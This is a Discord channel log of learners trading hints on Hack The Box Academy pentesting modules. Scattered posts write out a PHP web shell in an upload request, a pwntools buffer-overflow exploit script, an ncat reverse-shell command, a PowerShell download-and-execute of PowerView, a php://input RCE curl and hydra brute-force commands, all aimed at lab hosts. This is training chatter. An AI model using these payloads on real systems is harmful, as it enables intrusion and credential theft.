#modules
1 messages · Page 27 of 1
I know on the assessment I had s few parts where I needed to test some 7k combinations (that ultimately didnt work) and that woulda been ages in intruder
also the pls remove the flag name that's a bit too much spoiler (if the flag named flag then i would say it's fine)
I can only imagine sitting there the whole time in intruder just to confirm it was the wrong path
how do yall feel about zap? it seems kinda meh just by how the module is just like "its a thing"
The venn diagram of web app pentesters, burp users, and zap users are two circles barely touching each other with zap being alone
So no one uses zap?
basically
its open office then
at least until recently now that France made it all schools cannot use Microsoft Office lol
its actually more feature complete than burp, but it's UI and workflow is so horrendous its like pulling teeth
i mean vim and enums are pulling teeth and people swear by them
and anything zap can do that burp cant(or needs to be paid) can be supplemented by ffuf and other similar tools
thats cause those ones only pull teeth while youre learning them. zap always pulls your teeth always
I cant even find a easy download for it on linux
if the zap team got like a modern UI/UX guy to come in and redo the whole interface from scratch, I bet people would be swapping over to it overnight
oh wait isn't zap open source? if that's the case i think someone should already did something like that but it just not official
zap? it's on their download page
i use vim 🤣
it is open source and if someone actually did make a fork with a slicker UI they need to advertise it better lol
same I use vim as well but I have not gone further than a text editor for it
I genuinely cant even get zap to download off their own site.
I want to finish this module in a day
Thanks
I haven't finished an entire module in a day since the very beginning lol
same can't stop procrastinating
some of the web sections are definitely a breather compared to the AD Module
fail it wouldnt download because I had burpsuite running
~~it's on their site but if you can't download it try wget https://github.com/zaproxy/zaproxy/releases/download/v2.12.0/ZAP_2_12_0_unix.sh`~~ trick question
Is there anyone on that can help with Cross-Site Scripting(XSS) - Session Hijacking?
@thorn urchin @vital adder For the assessment of Web Proxies how many times did you have to click the button? I've sent it it via repeater like 100 times now.
i do remember having some issue with sending that in repeater but i would way it took me under 15 try (manually)
how bad you want it????
use dark mode
haha
idk how to make burpsuite change to dark mode
and ive hit the button more than 15 times now
this isn't dark mode but say this doesn't look good (random screenshot)
God bless you my eyes are saved
yo, how did you get it that color?
i forgot the name give me a sec let me open my burp
@west canopy I do not feel lucky anymore like this thing says. This assessment fails to account for those with shit luck. lol
that's BurpCustomizer with Night Owl Contrast (Material)
could always try ffuf it instead 😉
Idk how to make fluff do that lol
itd be kinda annoying ngl
|| All I needed to do was removed the disabled portion from the html right?? ||
I feel like im doing somthing wrong at this point
I did
I keep getting the same response back to click the button
jesus what are the odds on this .01% I feel like im grinding in WoW again
I fixed it
i just give it a try and it tool me 31 time
i just spam the new request in firefox and after a bit i got the flag
try restart the target
okay going back and finishing up last bits of FFUF module I'm working on Parameter Fuzzing - GET
I've got what should be the correct syntax and I cannot for the life of me understand why its not running going
||ffuf -w /usr/share/payloads/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://admin.academy.htb:32129/admin/admin.php?FUZZ=key||
I've added admin.academy.htb to /etc/hosts file and when running this I get the error
zsh: no matches found: http://admin.academy.htb:32129/admin/admin.php?FUZZ=key
From my understanding this syntax should give me what I'm after but I cannot for the life of me understand why I only get this error.
does the flag just show on the page?
yep
i just make a bash loop that basically send the request 100 time and i only got 3 flag
oh wait why tf does zsh give you an error for this? if your syntax is wrong ffuf should give you the error not the zsh shell
Am I repeating the wrong request?
look right
try putting the url in quote
jesus im glad I didnt buy a lottery ticket today I have zero luck
i got 3 flag out of 100 try so your chance is kinda low for this
idk how to even send the code to intuder
I did the 2nd one in 5 secs because I got bored of clicking send
as ive been at it now for 20 mins
clearly something isnt working right
try restart the target or use a auto clicker in burp repeater nvm you would miss the flag
did the first and the 2nd would mean I wouldnt see it lol
I reset the machine and burpsuit at this point
dm me your target let me try it with my bash loop to see if it even possible to get the flag
brute force labs are actually the worst🫠
yeah this is an actual wtf
i never got that issue in the zsh shell
that took me more hours
than i care to admit
I questioned my sanity
twice
HTB OVERLORDS WHY ARE YOU TESTING MY SANITY TODAY!
Ty, but fuck you ❤️ me
hello i am sitting on the htb academy web request module at the http Headers Part there i should use the web devtools to see some request to a flag, could solve the rest, but that one i cant solve, started bruteforcing solutions in my eyes there is no request to a file they say if there is no reqeust to a flag i should reload the page, you dont know how often i reloaded that page now.., meanwhile i looked into the the hint but still no clue what i should do.. is there somebody who can give me a hint? 🙂
iirc it's hidden somewhere in the response.
don't put money on it, but i feel like I remember that one.
or in a cookie... now i'm doubting myself lol
thanks for your response, still no clue, but maybe its buggy looked up some other walkthrows concerning this module and it seems to be that this one part got updated.. everything else is the same. maybe another day and then it just works.
omg i finally found it you where absolutly right with hijnt concerning the response my screen is a bit small so havent seen that on on the right side is a Response button. thx a lot @forest tapir my hero of the day 🙂
Not sure why but it's not seeing my ticket as 'valid'.
Password Attacks - PtT From Linux
which question are you working on in that section?
I'm past "Carlos". I have his creds. Now i'm trying to authenticate with the svc_workstations acc.
Found the service acc.'s keytab file. Got a TGT, or so I thought...
what was the file path you got the keytab file from?
ok
Hey! I need help with Password Attacks Lab - Hard, I could download the vhd file, and im trying to crack it but it takes a lot, I got a pw, but it doesn't work when im trying to open the mount partition
help me with starting point preignition
TASK 6
When using gobuster to dir bust, what switch do we add to make sure it finds PHP pages?
@distant oar
help a noob out
There is no need to use a VPN to connect for any of the CA Challenges, they are all accessible via the public IP's given when started. Not all challenges have an HTTP server however, some you need to connect via nc.
Which password list are you using?
I used rockyou and the mutation password list
mut_password.list should be enough. Using John right?
yes, but it takes a lot, i got a 123... pw but it doesn't work
heelp
idk what im missing
DM me
ok thx
dm me mofo
i swear, the AD module is killing me, feels like Im fighting more with the lab itself and not the actual targets/content
Why is that
getting an invalid password when trying to connect to the Windows attack machine
Share a screenshot if you may
not sure if im doing something wrong? but seems like im stuck before even doing the lab work lol
Use xfreerdp and see maybe?
ah wow, that actually worked
the splash warning is just a black screen when i use xfreerdp, but pressing enter moved passed it and logged me in
so does rdesktop do anything different? seems like a really specific issue
try quoting the username htb-student, it might be that
nope, didn't work but good guess at least. oh well, at least now i can do the lab
thanks for that!
hey all was wondering if someone could help me. on the active directory - kerberoasting from Windows section - regarding MIMIKATZ. for the life of me unless im going bananas, cannot seem to find the exe file
cannot get into the x64 directory, where normally the .exe file is. commands such as mimikatz.exe doesnt work as it doesnt exist according to PS
Question 1 or 2 @winged roost ?
But, neither of them do actually require mimikatz though
Q2 - it was more for practice reasons. I used powerview to get the actual hash
Rubeus?
thanks, i was having issue with the format from powerview for offline cracking.
yo
sup chat
hey guys just wondering if anyone can help me out with module 18 section 80 where i have to curl https://www.inlanefreight.com and filter the unique paths of the domain
I've tried curl https://www.inlanefreight.com | grep -o "https" | grep -v "href.gl" | wc -l
The output of that is 57 which is wrong it's really itching my brain but I can't seem to get it
Hey guys. i need help at Password Attack Module at protected files section.
Im doing hydra for user kira on ftp service but it takes sooooo long.
Could anyone help me ? DM please
? 😦
Hey guys! Is there anybody kindly for a short nudge with FootPrinting Module hard lab? Better DM not to spoil here. Thanks.
Hello im stuck at the same place how did you that?
Ok, I have no idea how to solve blacklist filters in the module file upload attacks.
req.txt copied from burp:
POST /upload.php HTTP/1.1
Host: 206.189.116.117:32324
Content-Length: 150
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybldlPLZlzD83jTj9
Origin: http://206.189.116.117:32324
Referer: http://206.189.116.117:32324/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
------WebKitFormBoundarybldlPLZlzD83jTj9
Content-Disposition: form-data; name="uploadFile"; filename="shellFUZZ"
Content-Type: image/png
<?php system($_REQUEST['cmd']); ?>
------WebKitFormBoundarybldlPLZlzD83jTj9--
Uploading:
ffuf -request req.txt -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt -c -debug-log d.txt --request-proto http
Checking for execution:
ffuf -u "http://206.189.116.117:32324/profile_images/shellFUZZ?cmd=ls" -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt -c --request-proto http
results:
all lines sized 35, nothing stands out, I have even added the same capsed extensions to that file with extensions and still nothing -.-
need to use a better wordlist
the web-extensions one is okay for lightly enumerating some extensions, but not really for bypassing blacklists
Try just the base number 🙂
In other words just the first number in that version listed 🙂
As stated in the challenge question. Windows X. Hint hint
Anytime!
Can someone also help me ?
How to fix “context is not define” in a “from pwn import *” python script?
Show the script and full error maybe
Hey guys I'm on the Bind shells lesson. I connected via ssh to the target and set up the listener, and entered the line to generate the shell. However, on the attack side, I only see the text output. Did I miss anything?
yes sir
#!/usr/bin/env python
from pwn import *
context(os="linux", arch="amd64")
binsh = "/bin/sh\x00"
junk = "A"*(120 - len(binsh))
plt_system = p64(0x401040)
test = p64(0x401152)
pop_r13_r14_r15 = p64(0x401206)
payload = junk + binsh + pop_r13_r14_r15 + plt_system + p64(0) + p64(0) + test
p = remote("10.10.10.147", 1337)
p.recvline()
p.sendline(payload)
p.interactive()
Traceback (most recent call last):
File "/root/Desktop/tools/exploit/Buffer_overflow/NX_enabled/./pwn.py", line 3, in <module>
from pwn import *
File "/root/Desktop/tools/exploit/Buffer_overflow/NX_enabled/pwn.py", line 5, in <module>
context(os="linux", arch="amd64")
NameError: name 'context' is not defined
looks like context doesnt exist in pwn
also if youre posting code to discord wrap it in triple backticks plus the language and youll get nicely formatted code blocks with syntax highlighting. End the block with another set of triple backticks.
from pwn import *
print ("Much better")
Thank you for your advice , I don’t know how to use this App 😩
@thorn urchin hei have u done skills assessment on pivoting because i need a hint if u are free u can dm me
Could you please show me how to make it exist ? I’ve been struggling all night
Are you sure your python points to python3 and not python2? Also, what version of pwntools are you using? pip freeze | grep pwn to check.
pwn==1.0
pwncat==0.1.2
pwncat-cs==0.5.4
pwnlib==1.2.1
pwntools==4.8.0
this is the version im using
Ah, this pwn module is overshadowing your pwntools
how do i fix it?
pip uninstall pwn
i tried this before, i also reinstall it, it sitll has the same error
WARNING: Skipping pwn as it is not installed.
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv```
Traceback (most recent call last):
File "/root/Desktop/tools/exploit/Buffer_overflow/NX_enabled/pwn.py", line 3, in <module>
from pwn import *
File "/root/Desktop/tools/exploit/Buffer_overflow/NX_enabled/pwn.py", line 5, in <module>
context(os="linux", arch="amd64")
NameError: name 'context' is not defined
no...
try python -c 'import pwn;print(pwn.__file__)'
I think the problem is that your pwn points to wrong module, still
Traceback (most recent call last):
File "<string>", line 1, in <module>
File "/root/Desktop/tools/exploit/Buffer_overflow/NX_enabled/pwn.py", line 5, in <module>
context(os="linux", arch="amd64")
NameError: name 'context' is not defined
this is odd
dude
do you have a pwn script in your working directory?
like pwn.py ?
/root/Desktop/tools/exploit/Buffer_overflow/NX_enabled/pwn.py'
^
what??!
Cause it says you are importing it from your own folder I guess
yes
So it won't work
Because when you say to python import filename it will try to import shit FROM that file
Traceback (most recent call last):
File "<string>", line 1, in <module>
File "/usr/local/lib/python3.10/dist-packages/pwn/__init__.py", line 19, in <module>
pwnlib.update.check_automatically()
AttributeError: module 'pwnlib' has no attribute 'update'```
i removed the pwn.py
and this new error happens
again, you have some old deprecated and useless modules installed
pip uninstall pwnlib
on my pc I have just pwntools==4.8.0 when I do
$ pip freeze | grep pwn
pwncat==0.1.2
pwncat-cs==0.5.4
pwntools==4.8.0
Del this pwncat too
I have no idea what this shit is but it is not a part of pwntools currently
Found existing installation: pwncat 0.1.2
Not uninstalling pwncat at /usr/lib/python3/dist-packages, outside environment /usr
Can't uninstall 'pwncat'. No files were found to uninstall.
lol
Okay, it may work now
Also, don't run all basic python stuff as root
It will give you a burning pileshit of errors
Traceback (most recent call last):
File "<string>", line 1, in <module>
File "/usr/local/lib/python3.10/dist-packages/pwn/__init__.py", line 19, in <module>
pwnlib.update.check_automatically()
AttributeError: module 'pwnlib' has no attribute 'update'```

Hmm check python -m pip freeze | grep pwn
pwncat==0.1.2
pwntools==4.8.0
cant delete this weird pwncat
*uninstall
Found existing installation: pwncat 0.1.2
Not uninstalling pwncat at /usr/lib/python3/dist-packages, outside environment /usr
Can't uninstall 'pwncat'. No files were found to uninstall.```
still cant
yeah, this is odd, never really use this module before
imma just give up this box...
@sage granite thank you very much for your help
I think your pc is kinda messed up a bit with these old pwnlibs
i love you❤️
@sterile thistle your modules are definitely messed up. I would just reinstall them all if you really need pwntools often. Otherwise, just use a venv whenever you need pwntools
Can anyone that had completed the Skills assessment for the file upload please give me a hint. I desperately fail to understand the bypassing of the whitelisting with mime typing and would like some help. I have the source code, so I know what/how to bypass the filters but When I do It fails to executes the PHP code. I think becuse it is looking for image data and im passing php after the magic byte? Like I said, any help would be super appricated, beating my head against the wall at this point
DM me
Module: Introduction to Windows Command Line
Section: User and Group Management (powershell)
Question: Connect to the target host and search for a domain user with the given name of Robert. What is this users Surname?
Issue: Everytime I try the command: Get-ADUser -Filter *, but It gives me this error:
Get-ADUser : The server has rejected the client credentials.
Already tried to create a $cred objet "Kerberos double hop thing" without success
Got it thanks to help from Paddon 😄
hello @everyone please needed help on the login brute force module precisely the service authentication section
what i have tried is to brute force the ssh service with the rockyou-5 ,10 ,15, 20 word list
and with the rockyou.txt file but did not finish the process since the server times out
The service or a user?
the service in my case ssh
since the user is given as "b.gates"
Right so- if it isn't a common password
so i am brute forcing only the password
What else could we do to make it more personal?
using maybe cupp
Give it a try and experiment !
but there are no extra info
a part from the username
So for the CUPP, you'll have to dig a bit further yourself
If you're using something else, it's the same
like ??
Have you started CUPP
doing so
Just give it a read
Can anyone help on the
Brute Forcing - Skill Assessment - Website
I'm a little confused if it is telling me to use ||b.gates|| again or start from scratch, could someone just clear this up for me? ^^;
i think we are to use it as username also stuck on that figuring out the password 😅
It's not very clear to me aha-
I've even ran like a few different brute forces with default names and passwords but nopeeee.
Oh my God I found the pw
can you please give hints
Hello, good day.
I'm currently taking the Learning Process module and I don't quite understand a part of the The Process section, sub-section Questioning.
I need clarity on this.
Context: We are in objection to the official definition of what a question is - A question is a sentence worded or expressed to elicit (draw, obtain) information.
The part I don't understand:
"Next, the definition of a question explains its purpose. Therefore, according to the definition, the purpose is to obtain or acquire information.
Let us, therefore, create a situation with a question to test this statement. Let us assume we see host A and host B. To do this, we can ask the following question, which we will also ask during our penetration tests:
How is Host A connected to Host B?
Our goal was to obtain or acquire information with the help of the question posed. Did we obtain or acquire any information from this question? - No."
I can say the information I have obtained from that question is vague, not necessarily no information but something more like what was described earlier as a rough question.
I may be missing something vital in this lesson please help.
Don't overthink it.
From the bottom, go upwards.
you are just sounding like HTB when they give an assessment and say think outside the box 😅
Nono trust me
did it already what am i supposed to find exactly ??
I'm not sure I understand what you need help with
Could I DM someone about Password Attacks Pass the Hash (PtH) under Windows Lateral Movement?
Thanks for your response.
"How is Host A connected to Host B?
Our goal was to obtain or acquire information with the help of the question posed. Did we obtain or acquire any information from this question? - No."
I'm in opposition to this view.
It says we have not obtained any information from the question but I believe there's information even though it's not relevant, more like the state "rough question" mentioned earlier. Can you review and tell where I need clarity?
sure shoot me a dm if you still need help with that
Attacking Common Services - Easy Skills Assessment. I’ve gotten access to the FTP server and MySQL. I uploaded a web shell where I can do ?cmd= in the URL. The only command that are working are whoami and dir. How do I get the reverse shell?
So on this section and module I have been able to successfully perform the Attack, but I am not sure about the way to get Bross's NTLM hash
Would appreciate some help
I ended up solving that one by using the hash from the raise child.py
I recommend taking heavy notes of that module to get past the skills assessment
im re writing my notes for it right now. The assessments for that module are a beast!
Anyone got any tips or tricks for this one?
try the base 64 one that tends to work the best for me
Ugh, I tried that one for CMD. Didn’t work. You put it following the “cmd=“, correct?
what type of encoding should you use if your pasting a shell into a url?
if your using something like burpsuite it will often encode the payload for you if you set it up or you can use rev shells encoder or google an encoder.
I tried URL encoding as well
try /?c=
Hi can anyone help with Linux Priv Esc?
if you have completed the attack you can use normal dcsync and just ask the DC for bross' hash
yep. shell.php?c=ncat.exe 10.10.16.23 4443 -e cmd. I try and URL encode it and base64. I also tried URL encoding it in Burp. Nothing.
honestly I wouldn't bother with s reverse shell, Id just grab what I need and get out
add a / at shell.php/?c= rev shell
For that one I had to use a rev shell as well
or you could just rewrite your uploaded shell to already be a php reverse shell
Btw @thorn urchin did I tell you I could get powerview to work with IEX(New-Object Net.WebClient).downloadString('http://10.10.x.x:8080/PowerView.ps1')
nice
saw it in ippsec video and it worked for me
idk why putting it on the target host then importing the module didnt work
¯_(ツ)_/¯
in all fairness in real life the IEX method is better anyways cause youre not writing to disk
I'm having no luck on that either.
I'm failing on achieving this as well. This is probably the most annoying module ever.
it definitely isnt 😉
lol no that goes to Web Proxies
but the rankings on the labs are all wack
I clicked a button 300 times yesterday just to get a flag
easy is definitely the hardest of the three
Easy>Hard>Medium
its weird
I say most annoying is Password Attacks
you just got extremely unlucky in web proxies
oh yeah password attacks is a bitch in a half but I feel like I learned something
I'm on Password Attacks right now and I'm glad y'all agree😅 I think this one should be listed as 2 days not 8 hours.
2 days not cause its hard, it just wastes your time
yeah I don't think it's to challenging so far it's just a lot of time
it needs a complete passthrough and the correct passwords tweaked to cut down on time spent
especially cracking them hashes, mutating password lists, using hydra with the mutated passwords
no legit crack should take longer than 5 minutes from the pwnbox, but you have some instances where it will be 20-30minutes if youre correct if youve messed up good luck you wont know till the box has to be reset
I mean it an important skill to learn and patience is obviously needed to, but I feel like I can't move on until I finish so I'm far behind now lol
I'm still on Pass the Hash attacks
I hated certain modules on that one just because it took so damn long. I loved the PtH and PtT lessons though.
Finally got the shell. It was PowerShell #3 (Base64) after the c=
Thanks to both @thorn urchin and @pastel ginkgo for the tips
Anyone around who might be able to answer a couple questions on the Active Directory skill assessment (part 1)?
That is the most frustrating thing I can remember doing anytime recently! I cringe to think about that horrible password attack, it took so much damn time up!
TASK 6
When using gobuster to dir bust, what switch do we add to make sure it finds PHP pages?
Help!!!
-# ###
Is the text
check the man page
do man gobuster and then look for the correct switch
what does man do?
man is the manual page for tools and utilities
Gobuster is a tool for brute forcing URIs (Files and Directories) and DNS subdomains. The help section can provide options for Gobuster. gobuster -h Common Command line options -fw – force pro…
here u go
but i would say
ffuf is better than gobuster in somecases
if yo need to know what a flag does you can usually do something like "gobuster dir --help" it will give you some more options on the dir part. "gobuster dir -x php" is probably what your after. its helpful to learn to use the help and or man pages however
or feroxbuster
never tried that but really impressed by ffuf's speed
yeah ffuf is great as well!
j
can someone help me in Password Attacks?
can try. i completed that module.
which bit
hello
didn't succeed try the hole night without success can i DM you
Sure
hi
Heyo
Need some help with Brute Forcing Module -> Website Skill Assessment
Once you access the login page, you are tasked to brute force your way into this page as well. What is the flag hidden inside?
Do I use the username I just found on the question previous or do I use another? wording is a little confusing.
Recently I started doing HTB academy
While doing the local file inclusion module, I am getting errors and the questions also they are asking in depth but they explained basic minimal level of theory part.
Does anyone completed file inclusion module, kindly let me know, I have some doubts regarding about that.
Hey guys, I'm trying to wrap my head around some errors/lack of details in the OpenVAS part of the Vulnerability Assessment module.
In the OpenVAS Skills Assessment, I am unable to reach the OpenVAS interface located on <targetIP>:8080
Additionaly, I tried putting openVas on my kali machine, but here is the result of my gvm-check-setup:
Test completeness and readiness of GVM-22.4.0
Step 1: Checking OpenVAS (Scanner)...
OK: OpenVAS Scanner is present in version 22.4.0.
OK: Notus Scanner is present in version 22.4.1.
OK: Server CA Certificate is present as /var/lib/gvm/CA/servercert.pem.
Checking permissions of /var/lib/openvas/gnupg/*
OK: _gvm owns all files in /var/lib/openvas/gnupg
OK: redis-server is present.
OK: scanner (db_address setting) is configured properly using the redis-server socket: /var/run/redis-openvas/redis-server.sock
<...snip...>
Checking that the obsolete redis database has been removed
OK: No old Redis DB
OK: ospd-OpenVAS is present in version 22.4.0.
Step 2: Checking GVMD Manager ...
OK: GVM Manager (gvmd) is present in version 22.4.0~dev1.
Step 3: Checking Certificates ...
OK: GVM client certificate is valid and present as /var/lib/gvm/CA/clientcert.pem.
OK: Your GVM certificate infrastructure passed validation.
Step 4: Checking data ...
OK: SCAP data found in /var/lib/gvm/scap-data.
OK: CERT data found in /var/lib/gvm/cert-data.
Step 5: Checking Postgresql DB and user ...
OK: Postgresql version and default port are OK.
gvmd | _gvm | UTF8 | en_US.UTF-8 | en_US.UTF-8 | | libc |
ERROR: The new extension pgcrypto does not exist for gvmd database
FIX: Run 'sudo runuser -u postgres -- /usr/share/gvm/create-postgresql-database'
ERROR: Your GVM-22.4.0 installation is not yet complete!
Please follow the instructions marked with FIX above and run this
script again.
results of sudo runuser -u postgres -- /usr/share/gvm/create-postgresql-database:
[i] Database gvmd already exists in PostgreSQL
[i] Role DBA already exists in PostgreSQL
[*] Applying permissions
NOTICE: role "_gvm" is already a member of role "dba"
GRANT ROLE
[i] Extension uuid-ossp already exists for gvmd database
[i] Extension pgcrypto already exists for gvmd database
[i] Remove old parts from DB for new pg-gvm extension
NOTICE: view "result_new_severities_dynamic" does not exist, skipping
NOTICE: view "result_new_severities" does not exist, skipping
NOTICE: view "result_new_severities_static" does not exist, skipping
NOTICE: view "result_overrides" does not exist, skipping
NOTICE: function hosts_contains() does not exist, skipping
NOTICE: function max_hosts() does not exist, skipping
NOTICE: function regexp() does not exist, skipping
[*] Creating extension pg-gvm
ERROR: extension "pg-gvm" has no installation script nor update path for version "22.4.0"
Thanks for any help!
The code I ran is right, but it just gives false positives every time: Is something wrong with this question?
|| hydra -l user -P /usr/share/wordlists/rockyou.txt -f <TARGETIP> -s <TARGETPORT> http-post-form "/admin_login.php:user=^USER^&pass=^PASS^:F=<form name ='log-in'" ||
@rustic sage can I dm?
Of course
ran this question with someone else code again and it still gave false positives ahah. Got the answer already, but this is very weird
Is there any way to use these permissions to your advantage for privilege escalation in the final section of the Getting Started module?
User www-data may run the following commands on gettingstarted:
(ALL : ALL) NOPASSWD: /usr/bin/php
I'm kind of lost at the moment
looks like www-data has super powers as he stands
dm me if needed
www-data@gettingstarted:/usr/bin$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
First thing I checked, not the case though
I don't think this is really a spoiler, but there is an amazing resource for Linux privilege escalation, file upload and download, and more. If you can't find it or need help understanding it feel free to dm me @spring sigil
my dude. what are you allowed to run with no password?
as sudo by the way
Snagging this lil tidbit of knowledge🦉
They understand, they found the resource I was referring to earlier, but just had trouble understanding it. We're all good now👍
I couldn't figure out what to do with the commands. I got it now, thank you to both of you:D
thanks for the HU
How do I remove junk from the same line in a .txt. file? Specifically Im trying to do the predictable reset token section in the brkn authentication module. I soun up the php example I ran the python code they have and I got a bunch of "checking blah blah" and then a token. I have no idea what I'm doing so Im just trying to strip the "checking" away so I have just tokens but everytime I do grep -v " checking blah blah" it either does nothing or hides everything.
Ideally it'd be nice to know what I'm supposed to be doing with the reset_token.py cause I put the URL in for question 1 and ran it but I don't see where I'm supposed to include the date from the headers anywhere in the code. It just says start from 120 seconds ago which it looks like it's already set to do so
Module: FILE INCLUSION htb academy
•Remote Code Execution
- PHP wrappers
I can’t capture the output string with the command:
curl “http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/X.Y/apache2/php.ini”
My allow_url_include is activate
My PHP Version is 8.1
What’s wrong?!
Hint: ||try a different php version||
specifically, their version of php
Question about HTB machines
Will all machines expect me to know how to privsec (for example) beforehand or is there some ones that teach me how to do it?
I'm not sure where to ask this
there are modules that introduce you to it all.
What about the machines? like learning while simultaneously doing
Hey guys need a bit of help here:
I am currently doing the Intro to Windows Command Line and one of the question is: "Connect to the target host and search for a domain user with the given name of Robert. What is this users Surname? "
my answer as per the hint is "Get-ADUser -Filter*" but I get this message in return "Get-ADUser : The server has rejected the client credentials"
What am I doing wrong?
the modules have built in challenges (boxes) with the specific exploits being taught.
Ok now I have:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
The question is:
“Try to gain RCE using one of the PHP wrappers and read the flag at / “
I never knew this, thank you!
no worries dude. happy hacking
have a go at it before you ask for help tho. follow the module.
ls /
I understand I used the right Wrapper method, but now with
uid=33(www-data) gid=33(www-data) groups=33(www-data)
I don’t understand how to go to that directory via URL to find the flag
No you dont have to go to that dir by doing cd
just cat the file.
Just ls and find flag file and cat /flagfile.txt
You'll have to find your own way manually
No i can't..
When i write in the terminal:
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid
the result is:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
But then i don't have a web shell to cat flag.txt
Use cd (directory name) to go into a place
overthinking. dont do that.
cant CD using the URL in his example. you can cat anything you like tho more or less. so long as you know where it is and what its called.
I mean you can CD it just won't do anything, unless you execute multiple commands
sounds annoying. i prefer to ls a directory i want and then cat the file i want.
lol
You do have a web shell. You just uploaded it
Anyone available for PtT computer impersonation? (Password Attacks module)?
linux or windows
Linux
which question?
PtT computer impersonation lol
dm me and I will help you go through it all.
There is no flag here. Get back to hacking!
Still going to need help on this. It’s for the Linux PtT last question
u
When I use secretsdump.py I don't see the bross's hash. Been trying to specify bross with the -just-dc-user, .I wonder what i am doing wrong with my command.
Feel stupid lol
pls who can send me a link for a hacking app
no
Nobody
hmm not sure
@coarse birch don't spam the channels
Should I just use mimikatz??
wouldnt hurt to try
Academy is your best friend. You learn this stuff by doing. Spend most of your time getting dirty in the mud. An app or a video series isn't going to be extremely helpful.
Target does not have mimikatz, and I am having trouble with file transfer 🤔
rough
I've been stuck on this question for soooo long and I know i am missing something super simple 😅
@raven cairn To transfer the file use Invoke-WebRequest u will need to start python3 web server
you may just be having the wrong flags for the DC ip and domains for stuff. When dealing with multiple of em it can get confusing whats supposed to go where.
Can I have someone DM me? I am so close to finishing this module but I am stuck on this section even tho it should be really easy.
Attacking Domain Trusts - Child -> Parent Trusts - from Linux
it doesnt work like that a mod already told you to shut up
@raven cairn use it with powershell
here is the link you'll need https://www.youtube.com/watch?v=OLpeX4RRo28
dedicated to everyone i know. leave me alone.
co-prod. @ryan_jacob
NEW SHIRTS: http://filthytokyo.com/
TWITTER: https://twitter.com/FilthyFrank
FACEBOOK: https://www.facebook.com/TheFilthyFrank
SHIRTS: http://filthyfrank.spreadshirt.com/
INSTAGRAM: http://instagram.com/papafranku
MUSIC: http://pinkguy.bandcamp.com/
MUSIC: https://soundcloud.com...
anyone here able to give me some clues for the MSSQL question on academy?
which module and section?
under the ||Connecting with Mssqlclient.py|| part they did show you some syntax to list databases in myssql
and no you can't use syntax from mysql for this
thats also not valid mysql syntax either
yeah I tested standard mysql syntax after trying what is showed on the mssqlclient.py example
yup, bad example, I had tried them beforehand
worth a restart then?
should show a screenshot with your attempted commands using mssql syntax
This song is a classic 🔥🔥🔥
you might be missing something simple that can be spotted
The sql module can be helpful for sql querieies
you know its bad when MRTom is roasting you on #modules
yeah glimpse of us was good but i miss filthy frank
no ;
select name from master.dbo.sysdatabases;
you need to use go to run the command but in the example they didn't use go so that's kinda weird but try go after each command
sorry, not sure I follow you
so
SQL> go (to run the command you just type)```
ah
yeah worth a shot. My client hasnt needed that, but maybe were using different ones
hm still no change, f it. Im restarting it, lol
watch it work on the first try xD
and yup, now it works... sorry for the disturbance xD
No prob. It is pretty common to get stuck on simple stuff sometimes
when in doubt, just restart!
Might be stupid question but how would I go about doing this. I got a shell with raiseChild.py
@raven cairn since u wanted to transfer the file with Invoke-Webrequest u would need to use powershell
Oooooh ok
Can someone help me with precious? I've been trying for like 8 hours and decided to finally find a write up and a video, they're doing exactly what I tried and it's working for them but not for me
Sorry I'm new to the discord
Is that a channel I should be posting in?
yes
yeah this channel is for discussing academy modules
Huh I don't see it
It's there but I think you might need to verify
I think the command is ++verify in bot commands
Got it, thanks!
hello everyone.
nooooo you remove the cat
The cat was cute
LOL
That cat is the devil. Constantly tormenting my other cat and bring me live animals, then letting them go in my house
nubee question, do we get to use Kali Linux in the academy? And Blurp Suite? Tnx
Yeah get a parrot os instance which is similar
you will have to download the openvpn file from academy to use with kali
i switched to parrot as well about 5 months ago
They both have pros and cons. I can use some tools more efficiently in one over the other. But it just depends.
For instance, I cannot get some gdb add ons to work but they work fine in Kali
Interesting but your opinions are now invalid cuz you dont have the cat profile pic
🤣
whats up @tulip grove
Hey guys I'm on the Bind shells lesson. I connected via ssh to the target and set up the listener, and entered the line to generate the shell. However, on the attack side, I only see the text output. Did I miss anything?
Would someone be willing to help a newb attempting to get through the Starting point?
@ornate sparrow -> #starting-point
Starting point, tier one, box 3. Following walkthrough, the instructions say to use wappalizer and you will see that its using PHP. I get all the other info but PHP doesnt show up. Oh well, moving on. Walkthrough says to use use this string:
echo {target Box IP here} thetoppers.htb" | sudo tee -a /etc/hosts
But Im not seeing a result in my terminal. Additionally, all instructions after this fail.
Sorry, I see what your saying. Sadly I cant seem to access the starting poiont
verify your account
Ok, Ill try that
Can anyone give me a nudge on the ad assessment part 1?
It's asking for clear text creds for another domain user. Does this mean any other we uncovered or a specific one for this module?
I’m confused. Are you even listening for the connection on the port?
by the nature of the question mechanism, its looking for a specific user.
I assume they don't mean kerberoast then
Yes, I connected to the target via ssh and set up a listener (nc -lvnp 7777). On another tab, I'm listening (nc -nv 10.129.x.x 7777) as the attack/client side. Then on my ssh tab with nc running I entered the one liner (rm -f /tmp/f; ...) per the lesson, but I don't get a shell on my client tab
hello there! i am at the XSS module, doing the phishing page.. i make the login page fine, start up the PHP server, the encoded phishing URL gets sent, but there is no movement on the side of creds.txt..
i would appreciate any help very much
https://academy.hackthebox.com/module/103/section/984
That worked. in the right area now
Could you link the module section?
@lethal atlas thank you!
Thanks!
https://academy.hackthebox.com/module/112/section/1245 - does the password remain the same for everyone? Its so slow to run, after 15 minutes running hashcat, im at 0.15% done...
how do i get access to talk in the other chats?
this is taking forever, does anyone have the answer they can ship me in private?
